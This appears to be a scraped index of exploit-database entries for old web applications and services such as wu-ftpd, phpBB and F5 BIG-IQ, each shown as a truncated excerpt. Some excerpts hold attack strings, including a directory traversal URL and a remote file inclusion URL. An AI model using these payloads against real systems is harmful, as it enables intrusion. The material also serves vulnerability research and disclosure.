PHP File Sharing System 1.5.1 - Multiple Vulnerabilities

No description provided by source. Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities Author: blake Tested on: Windows XP SP3 with xampplite 1 XSS http://192.168.1.149/fss/index.php?cam= 2 Directory transversal http://192.168.1.149/fss/index.php?cam=/../../../../../../../.. 3 Shell...

Custom Business Card script SQL injection Vulnerability

No description provided by source. Exploit Title: Custom Business Card script SQL injection Vulnerability Date: 23/06/2010 Author: JaMbA Script url: http://www.2daybiz.com/custombusscardscript.html Version: N/A Tested on: Windows CVE : ::::::::::::::::::::::::: :::::::::::::::::::::::::...

wu-ftpd 2.6.2 - Remote Root Exploit (advanced version)

No description provided by source. / wu-ftpd v2.6.2 off-by-one remote 0day exploit. exploit by you dong-hunXpl017Elz, [email protected]. Update: v0.0.2 August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally. v0.0.3 August 3, Brute-Force function addition. v0.0.4 August 4, Added FreeBSD, OpenBSD...

mini-pub 0.3 (lfd/ce) Multiple Vulnerabilities

No description provided by source. mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local...

virtue news (sql/xss) Multiple Vulnerabilities

No description provided by source. Viva l'Algérie 3-1 ---Karim Matmour--Abdel-Kader Ghazal--Rafik al-Zuhair Jabbur-- Félicitations à tous les Algériens L'Algérie bat l'Egypte 3-1 à aller El akouba pour le retour -------------------------AllaH AkbaR------------------------------- Virtue News...

LoudBlog <= 0.8.0a (ajax.php) SQL Injection Vulnerability (auth)

No description provided by source. !/usr/bin/perl This Exploit requires a valid user name and password of an account regardless of the permissions Author: Xianur0 Affected: All Versions Bug: SQL Injection Doorks: allintext: powered by LoudBlog use HTTP::Request::Common qwPOST; use LWP::UserAgent;...

Evaria Content Management System 1.1 File Disclosure Vulnerability

No description provided by source. Exploit Title: local file include / File Disclosure Date: Author: khayeye shotor Software Link: http://www.evaria.com/en/?view=download&dload=1 Version: Evaria Content Management System v.1.1 Thanks: khayeye sag , kandome mivei , sinehaye amam and all amehaye...

SmodCMS 4.07 (fckeditor) - Remote Arbitrary File Upload Exploit

No description provided by source. ?php / ----------------------------------------------------------------- SmodCMS v.4.07 fckeditor Remote Arbitrary File Upload Exploit -----------------------------------------------------------------...

ml2 - local users can crash processes

No description provided by source. include stdio.h include unistd.h include stdlib.h include syslog.h error int mainint argc, char argv char foo1000; char bigmsg10000; char s, holds; int i = 0; memsetbigmsg, 'X', sizeofbigmsg-1; if argc 2 printfusage: %s pid to kill\n, argv0; exit1; // fork;...

openEngine 2.0 100226 LFI and XSS Vulnerabilities

No description provided by source. SecPod Technologies www.secpod.com Title : openEngine Local File Inclusion and XSS Vulnerabilities Vendor : http://www.openengine.de Advisory : http://secpod.org/blog/?p=152 http://secpod.org/advisories/SECPODOpenengineLFIXSSVuln.txt Version : openEngine 2.0...

splitvt < 1.6.5 - Local Exploit

No description provided by source. / MasterSecuritY www.mastersecurity.fr spitvt.c - Local exploit for splitvt 1.6.5 Copyright C 2001 fish stiqz [email protected] Copyright C 2001 Michel MaXX Kaempf [email protected] Updated versions of this exploit and the corresponding advisory will be made...

pre multi-vendor shopping malls Multiple Vulnerabilities

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= IN THE NAME OF ALLAH -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Pre...

Hotel Booking Portal 0.1 - Multiple Vulnerabilities

No description provided by source. ----------------------------------------------------------- / | | | | | | | | | | | | | | | | | / |/ |/ \ | | || | || | | | | / | ||\,|,||| ----------------------------------------------------------- Hotel Booking Portal v0.1 Multiple Vulnerabilities Google...

Tutti Nova <= 1.6 (TNLIB_DIR) Remote File Include Vulnerability

novalib/class.novaEdit.mysql.php 代码中对TNLIBDIR变量校验不严格。 利用方法： !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOCPOCBase: vulID = '63860' ssvid version = '1.0' author = '皮皮' vulDate = '2006-08-21'...

F5 BIG-IQ 4.1.0.2013.0 - Privilege Escalation

No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'json' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClien...

Allomani Movies Library 2.0 - CSRF Vulnerability (Add Admin)

No description provided by source. Movies Library 2.0 XSRF Vulnerability Add Admin ==================================================================== .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Script : http://allomani.com/en/moviesscript.html === Exploit === form method=POST name=form0...

WebprojectDB <= 0.1.3 (INCDIR) Remote File Include Vulnerability

No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ WebprojectDB INCDIR = v.0.1.3 Remote File Include Vulnerability $$ script site: http://sourceforge.net/projects/webprojectdb/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...

SePortal 2.5 - SQL Injection Vulnerabilty

No description provided by source. Exploit: SePortal 2.5 Sql Injection Vulnerabilty Author: jsass Date : 19\03\2014 Contact Twitter: @Kwsecurity Script: http://www.seportal.org/ version: 2.5 Tested on: Linux Ubuntu 12.4 & Windows 7 Dork : Powered by SePortal 2.5 // Searching And Analysis By Kuwai...

phpBB <= 2.0.12 Change User Rights Authentication Bypass (c code)

No description provided by source. / Paisterist's code was nice but heres mil's version. precompiled: http://www.milw0rm.com/sploits/897.rar Usage: bcc32 897.cpp and place the exe in your firefox profile dir. Usually C:\Documents and Settings\Application...

Web3news <= 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln

No description provided by source. ============================================================================================== Web3news = v0.95 PHPSECURITYADMINPATH Remote File Inclusion Exploit ===============================================================================================...